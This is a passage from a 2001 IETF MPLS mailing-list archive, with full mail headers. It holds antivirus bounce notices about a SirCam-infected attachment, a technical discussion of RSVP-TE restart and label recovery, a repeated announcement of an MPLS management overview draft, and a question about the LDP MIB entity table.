the W32/SirCam@MM virus.  The file attachment was not successfully cleaned.



From owner-mpls@UU.NET  Mon Oct  8 02:21:13 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12438
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 02:21:12 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljuv08393;
	Mon, 8 Oct 2001 06:21:04 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljuv29532
	for mpls-outgoing; Mon, 8 Oct 2001 06:19:48 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljuv29470
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:19:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljuv04045
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:19:23 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljuv08148
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:19:36 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id CAA22184 for <mpls@uu.net>; Mon, 8 Oct 2001 02:19:22 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id CAA00237 for mpls@uu.net; Mon, 8 Oct 2001 02:19:22 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljuv29013
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:18:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljuv26885
	for <mpls@UU.NET>; Mon, 8 Oct 2001 06:17:49 GMT
From: MHDHUB02@marconi.com
Received: from notes.marconicommsna.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [208.43.60.106])
	id QQljuv00875
	for <mpls@UU.NET>; Mon, 8 Oct 2001 06:18:03 GMT
X-Priority: 3 (Normal)
Date: Mon, 8 Oct 2001 02:21:45 -0400
Subject: Report to Recipient(s)
To: mpls@UU.NET
Message-ID: <OFCC33B1D9.4466961F-ON85256ADF.0022F37E@marconicommsna.com>
X-MIMETrack: Serialize by Router on MHDGWY02/S/EXT/MC1(Release 5.0.8 |June 18, 2001) at
 10/08/2001 02:10:50 AM
MIME-Version: 1.0
Content-type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id CAA12438

Incident Information:-

Originator:    owner-mpls@UU.NET
Recipients:    mpls@UU.NET
Subject:  ÁÖÁÖ¸íºÎ(¿¹Á¤)

WARNING:  The file ÁÖÁÖ¸íºÎ(¿¹Á¤).xls.lnk you received was infected with
the W32/SirCam@MM virus.  The file attachment was not successfully cleaned.



From owner-mpls@UU.NET  Mon Oct  8 02:22:24 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12518
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 02:22:24 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljuv12710;
	Mon, 8 Oct 2001 06:22:19 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljuv29845
	for mpls-outgoing; Mon, 8 Oct 2001 06:21:44 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljuv29815
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:21:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljuv24597
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:21:09 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljuv11066
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:21:23 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id CAA22275 for <mpls@uu.net>; Mon, 8 Oct 2001 02:21:09 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id CAA01185 for mpls@uu.net; Mon, 8 Oct 2001 02:21:09 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljuv29584
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:20:10 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljuv01812
	for <mpls@UU.NET>; Mon, 8 Oct 2001 06:19:37 GMT
Received: from viva1.vivacenetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [64.221.212.135])
	id QQljuv18063
	for <mpls@UU.NET>; Mon, 8 Oct 2001 06:19:30 GMT
Received: by viva1.vivacenetworks.com with Internet Mail Service (5.5.2653.19)
	id <42MTF40H>; Sun, 7 Oct 2001 23:19:35 -0700
Message-ID: <B7E68CA26CF93846B74B9305EE908AE602E1D0@viva1.vivacenetworks.com>
From: System Attendant <VIVA1-SA@vivacenetworks.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>
Subject: ScanMail Message: To Recipient virus found and action taken.
Date: Sun, 7 Oct 2001 23:19:34 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id CAA12518

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = ÀÜ¿ìÁ÷(Woojik Chun)
Recipient(s) = mpls@UU.NET
Subject = ÁÖÁÖ¸íºÎ(¿¹Á¤)
Scanning Time = 10/07/2001 23:19:34

Action on virus found:
The attachment ÁÖÁÖ¸íºÎ(¿¹Á¤).xls.lnk exists TROJ_SIRCAM.A virus. ScanMail
has Deleted it. 

Warning to recipient. ScanMail has detected a virus.



From owner-mpls@UU.NET  Mon Oct  8 02:28:50 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA12836
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 02:28:49 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljuv23209;
	Mon, 8 Oct 2001 06:28:46 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljuv00610
	for mpls-outgoing; Mon, 8 Oct 2001 06:28:15 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljuv00602
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 06:28:08 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljuv08820
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:27:37 GMT
Received: from femail47.sdc1.sfba.home.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: femail47.sdc1.sfba.home.com [24.254.60.41])
	id QQljuv06554
	for <mpls@uu.net>; Mon, 8 Oct 2001 06:27:30 GMT
Received: from acm.org ([65.1.247.135]) by femail47.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP
          id <20011008062736.UEMG9922.femail47.sdc1.sfba.home.com@acm.org>;
          Sun, 7 Oct 2001 23:27:36 -0700
Message-ID: <3BC14778.8070007@acm.org>
Date: Mon, 08 Oct 2001 02:28:08 -0400
From: Gopal Kailad <gkailad@acm.org>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
MIME-Version: 1.0
To: Fong Liaw <fongliaw@yahoo.com>
CC: mpls <mpls@UU.NET>, gkailad@acm.org
Subject: Re: RSVP Restart (was Re: update GMPLS signaling documents)
References: <FPEEICOGFPIECGHGMMFLMEOOCDAA.fongliaw@yahoo.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



Fong Liaw wrote:

>Yanguang
>
>I am jumping in here, Lou can certainly add or
>clarify further. see below.
>
>
>>This one was sent to MPLS WG.
>>
>>///////////////////////////////////////////////////////////
>>I have some questions/concerns on the restart mechanism as
>>specified in draft-ietf-mpls-generalized-rsvp-te-04.txt.  I
>>have listed them below.
>>
>>If a node that is terminating hierarchical LSPs restarts,
>>there is an ordering issue during resynchronization, since
>>the LSPs would depend on other FA-LSPs the interface IDs for
>>which would have been generated dynamically. So the
>>mechanism as described will not work, unless this
>>information is preserved across restarts - in which case we
>>might as well preserve other information as well, and avoid
>>resynchronization.
>>
>
>Since transit node of the FA-LSP does not see the RSVP
>messages that use the FA, we only need to consider 
>the ingress and egress node. If the egress node restarts, 
>the worst case is that its upstream node sends an ERO 
>consisting a unrecognized interface address. Since the 
>Path message will carry RECOVERY_LABEL (replacing 
>SUGGESTED_LABEL), the egress node knows that it might 
>not have complete information yet, and can hold on to 
>the Path message until the FA-LSP is established.  
>All the information is there, so implementation 
>can be completely within the egress node. It does work, 
>just not specified enough.
>
>Ingress node will have to know the dependency, so not
>a problem there.
>
Are you suggesting that in case of an ERO with an
unrecognized interface id, if the Path message also
carries a RECOVERY LABEL, the egress node can hold on
to it until later?  Note that there may not be a
RECOVERY LABEL - since this Path message is for a
hierarchical LSP, and the previous node may not be
directly connected in the control plane.  Here is an
example - There is an LSP L1 from C to F, and on top of
it there is an LSP L2 from A to G.

 L1:              C --- D --- E --- F
 L2:  A --- B --- C --------------- F --- G


When F restarts, C may not even know, unless HELLO
protocol is run between C and F.  Note that the
HELLO mechanism is intended for immediate neighbors.

And even if the HELLO mechanism is extended, there
is the issue of interface id assigned by F.  F needs
to assign the same interface id upon restart so as
not to bring down the hierarchical LSPs set up on top
of L1 in the reverse direction (say an LSP from G to
B set up on top of L1.)  Where would F get this
information ?

>
>
>>Also, let us consider a node that can preserve state across
>>restarts, and hence does not need its state to be synced by
>>its peer.  How will it advertise this in the RESTART_CAP
>>object?
>>
>
>We still need to resynchronize the state since the other
>side might have connections that are in progress. The 
>
Let us say the node can resynchronize its neighbor if
the neighbor restarts and requests state recovery. But
the issue is how a node can advertise that it does not
need recovery since all its state was preserved?

>
>reason for resynchronization is to make sure both side
>have done the same to the in-progress connections, not
>just to synchronize the established states.
>
>The value of the RESTART_CAP will set to non-zero values
>

RECOVERY LABEL does not come into picture unless the node
that is upstream to the restarting node has already received
a Resv. So it seems that the procedure is to resynchronize
established state? If Resv has not been received yet, there
will be a refresh of Path message, and the restarting node
will consider it as a new request, etc.  So can you elaborate
on "to make sure both side have done the same to the in
progress connections" ?

>
>
>>If a node supports PSC as well as TDM or LSC interfaces, it
>>might want to advertise different set of parameters in the
>>RESTART_CAP object for data LSPs as opposed to SONET/WDM
>>LSPs which form bearer channels in transport networks.
>>Currently this is not possible.
>>
>
>Can you give us explicit examples as to why and what do 
>you gain by giving different values for PSC, TDM ?
>
In case of PSC devices, it may be OK to remove state that
is not resynchronized at the end of the recovery period,
and the recovery period advertised might reflect that.
But for LSPs in transport networks, one might want to
have a different recovery period to avoid any LSP from
going down because of recovery timer expiry.

>
>
>>According to 9.5.1. (procedures for restarting LSR): "When
>>sending the corresponding outgoing Path message the node
>>SHOULD include a SUGGESTED_LABEL object with a label value
>>^^^^^^
>>matching the outgoing label from the now restored forwarding
>>entry."
>>
>>This has a conflict with 9.5.2.  Consider the case where
>>adjacent nodes B and C restart, and B has another adjacent
>>node A, and C has another adjacent node D.  B and C will get
>>resynced by A and D, and during this process, they will
>>resync. each other. While resyncing each other, they act as
>>neighbors of a restarting LSR, and hence according to 9.5.2,
>>MUST include the SUGGESTED_LABEL.
>>
>>Also according to 9.5.2: "During the recovery period, new
>>Path state being advertised to the restarted neighbor SHOULD
>>not include the SUGGESTED_LABEL object in the corresponding
>>outgoing Path message.  This will prevent the restarting
>>node from erroneously reusing a saved forwarding entry."
>>
>>I guess this would mean that if suggested labels are used
>>during new LSP setup (as they are likely to be while
>>provisioning lightpaths - to reduce latency), then new LSP
>>setup will not be allowed during resyncing?
>>
>
>The use of RECOVERY_LABEL address all the above questions.
>
The first problems seems to be there still - consider two
adjacent nodes restarting.  They both act both as the restarting
node as well as the neighbor to the restarting node. So, once
they learn the state from the upstream neighbor, do they use
suggested label or the recovery label when they send the path
message to the just restarted downstream neighbor?

Cheers,

Gopal





From owner-mpls@UU.NET  Mon Oct  8 08:24:53 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA19696
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 08:24:53 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljvt17940;
	Mon, 8 Oct 2001 12:24:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljvt26922
	for mpls-outgoing; Mon, 8 Oct 2001 12:24:15 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljvt26916
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 12:24:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljvt17481
	for <mpls@uu.net>; Mon, 8 Oct 2001 12:24:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljvt17214
	for <mpls@uu.net>; Mon, 8 Oct 2001 12:23:55 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id IAA05488 for <mpls@uu.net>; Mon, 8 Oct 2001 08:24:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA17794 for mpls@uu.net; Mon, 8 Oct 2001 08:24:02 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljvt26838
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 12:22:45 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljvt12095
	for <mpls@UU.NET>; Mon, 8 Oct 2001 12:22:44 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljvt15416
	for <mpls@UU.NET>; Mon, 8 Oct 2001 12:22:37 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id IAA05373; Mon, 8 Oct 2001 08:22:35 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAR12091;
	Mon, 8 Oct 2001 08:22:32 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011008082313.01a4a5a0@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 08 Oct 2001 08:23:36 -0400
To: subip-area@subip.ietf.org, mpls@UU.NET, swallow@cisco.com,
        Vijay Srinivasan <vijay@cosinecom.com>,
        "Wijnen, Bert (Bert)" <bwijnen@lucent.com>,
        Scott Bradner <sob@harvard.edu>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: MPLS Management Overview Draft
Cc: afarrel@movaz.com, Cheenu Srinivasan <cheenu@alphion.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk


	Hi,

	During the MPLS meeting in London, Bert W. had requested that
I type up a draft providing an overview view of how all of the MPLS-related
MIBs fit together. The initial version of this draft is now available
here:

http://search.ietf.org/internet-drafts/draft-nadeau-mpls-mgmt-overview-00.txt

	The co-authors and I welcome your comments on this draft.

	As a point of order, should the MPLS WG accept this draft
as a working group document right away?  This document doesn't
satisfy a specific WG work item, but it was asked for directly
by one of the WG's ADs.

	--Tom



------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 



From owner-mpls@UU.NET  Mon Oct  8 08:24:55 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA19707
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 08:24:54 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljvt18188;
	Mon, 8 Oct 2001 12:24:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljvt26925
	for mpls-outgoing; Mon, 8 Oct 2001 12:24:20 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQljvt26917
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 12:24:13 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljvt17482
	for <mpls@uu.net>; Mon, 8 Oct 2001 12:24:03 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljvt17215
	for <mpls@uu.net>; Mon, 8 Oct 2001 12:23:55 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id IAA05489 for <mpls@uu.net>; Mon, 8 Oct 2001 08:24:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA17795 for mpls@uu.net; Mon, 8 Oct 2001 08:24:02 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQljvt26848
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 12:22:53 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQljvt16349
	for <mpls@UU.NET>; Mon, 8 Oct 2001 12:22:09 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQljvt14573
	for <mpls@UU.NET>; Mon, 8 Oct 2001 12:22:01 GMT
Received: from bucket.cisco.com (mirapoint@bucket.cisco.com [161.44.167.72]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id IAA05309; Mon, 8 Oct 2001 08:21:52 -0400 (EDT)
Received: from tnadeau-w2k.cisco.com (tnadeau-frame5.cisco.com [10.83.99.126])
	by bucket.cisco.com (Mirapoint)
	with ESMTP id AAR12087;
	Mon, 8 Oct 2001 08:21:50 -0400 (EDT)
Message-Id: <4.3.2.7.2.20011008081329.01a35770@bucket.cisco.com>
X-Sender: tnadeau@bucket.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 08 Oct 2001 08:22:53 -0400
To: subip-area@subip.ietf.org, mpls@UU.NET, swallow@cisco.com,
        Vijay Srinivasan <vijay@cosinecom.com>,
        "Wijnen, Bert (Bert)" <bwijnen@lucent.com>,
        Scott Bradner <sob@harvard.edu>
From: Thomas Nadeau <tnadeau@cisco.com>
Subject: Re: draft-swallow-rsvp-bypass-label draft 
Cc: afarrel@movaz.com, Cheenu Srinivasan <cheenu@alphion.com>
In-Reply-To: <200110080251.WAA29197@telescope.cisco.com>
References: <Your message of "Sat, 06 Oct 2001 19:01:28 PDT." <F133Y4kJSFsxf4yp8AR00006040@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk


	Hi,

	During the MPLS meeting in London, Bert W. had requested that
I type up a draft providing an overview view of how all of the MPLS-related
MIBs fit together. The initial version of this draft is now available
here:

http://search.ietf.org/internet-drafts/draft-nadeau-mpls-mgmt-overview-00.txt

	The co-authors and I welcome your comments on this draft.

	As a point of order, should the MPLS WG accept this draft
as a working group document right away?  This document doesn't
satisfy a specific WG work item, but it was asked for directly
by one of the WG's ADs.

	--Tom




------------------------------------------------------------------------
Mathematics is the supreme nostalgia of our time. 



From owner-mpls@UU.NET  Mon Oct  8 12:54:52 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26006
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 12:54:52 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljwl00779;
	Mon, 8 Oct 2001 16:54:05 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljwl02013
	for mpls-outgoing; Mon, 8 Oct 2001 16:53:33 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQljwl02008
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 16:53:28 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQljwl01988
	for <mpls@UU.NET>; Mon, 8 Oct 2001 16:52:51 GMT
Received: from web14307.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web14307.mail.yahoo.com [216.136.173.83])
	id QQljwl27686
	for <mpls@UU.NET>; Mon, 8 Oct 2001 16:53:05 GMT
Message-ID: <20011008165250.48840.qmail@web14307.mail.yahoo.com>
Received: from [63.77.213.2] by web14307.mail.yahoo.com via HTTP; Mon, 08 Oct 2001 09:52:50 PDT
Date: Mon, 8 Oct 2001 09:52:50 -0700 (PDT)
From: Srinivas T M <srini_tm@yahoo.com>
Subject: mplsLdpEntityTable
To: mpls@UU.NET, jcucchiara@crescentnetworks.com,
        jluciani@crescentnetworks.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
   Can anybody clarify my below question.

How Interface Index relates to entry in the
mplsLdpEntityTable in case of per-platform label space
, generic label type and in case of LDP Identifier is
same for all interfaces ?

 Can we use single entry in the entity table for
multiple interfaces? If it is like that, then what
happens if we change label Distribution Method or
LabelRetentionMode  or any field in the entity table,
on interface? draft-ietf-mpls-ldp-mib-08.txt is not
telling how interface relates to entry in the entity
table.

  MplsLdpEntityEntry ::= SEQUENCE {
     mplsLdpEntityLdpId        MplsLdpIdentifier,
     mplsLdpEntityIndex        Unsigned32,
     mplsLdpEntityProtocolVersion  Integer32,
     mplsLdpEntityAdminStatus      INTEGER,
     mplsLdpEntityOperStatus       INTEGER,
     mplsLdpEntityTcpDscPort       Unsigned32,
     mplsLdpEntityUdpDscPort       Unsigned32,
     mplsLdpEntityMaxPduLength     Unsigned32,
     mplsLdpEntityKeepAliveHoldTimer  Integer32,
     mplsLdpEntityHelloHoldTimer      Integer32,
     mplsLdpEntityInitSesThreshold    Integer32,
     mplsLdpEntityLabelDistMethod     INTEGER,
     mplsLdpEntityLabelRetentionMode  INTEGER,
     mplsLdpEntityPVLMisTrapEnable    INTEGER,
     mplsLdpEntityPVL                 Integer32,
     mplsLdpEntityHopCountLimit       Integer32,
     mplsLdpEntityTargPeer            TruthValue,
     mplsLdpEntityTargPeerAddrType
adressFamilyNumbers,
     mplsLdpEntityTargPeerAddr      MplsLdpGenAddr,
     mplsLdpEntityOptionalParameters
MplsLdpLabelTypes,
     mplsLdpEntityDiscontinuityTime   TimeStamp,
     mplsLdpEntityStorType            StorageType,
     mplsLdpEntityRowStatus            RowStatus
     }



Thanks in Advance,
Srini.


__________________________________________________
Do You Yahoo!?
NEW from Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month.
http://geocities.yahoo.com/ps/info1


From owner-mpls@UU.NET  Mon Oct  8 14:27:03 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA28330
	for <mpls-archive@lists.ietf.org>; Mon, 8 Oct 2001 14:27:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQljwr27483;
	Mon, 8 Oct 2001 18:26:40 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQljwr16059
	for mpls-outgoing; Mon, 8 Oct 2001 18:26:08 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQljwr16050
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 8 Oct 2001 18:26:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQljwr22153
	for <mpls@uu.net>; Mon, 8 Oct 2001 18:25:46 GMT
Received: from smtp010.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp010.mail.yahoo.com [216.136.173.30])
	id QQljwr26185
	for <mpls@uu.net>; Mon, 8 Oct 2001 18:25:59 GMT
Received: from 216-174-224-251.atgi.net (HELO METANOIA) (216.174.224.251)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 8 Oct 2001 18:25:45 -0000
X-Apparently-From: <vsharma87@yahoo.com>
Reply-To: <v.sharma@ieee.org>
From: "Vishal Sharma" <vsharma87@yahoo.com>
To: "Irfan Lateef" <ilateef@vill.com>, <mpls@UU.NET>
Subject: RE: MPLS Restoration
Date: Mon, 8 Oct 2001 11:25:17 -0700
Message-ID: <MMECLKMDFPCEJFECIBCMMEPHCEAA.vsharma87@yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
In-Reply-To: <3BBBC9DC.7A7DFBA@vill.com>
Importance: Normal
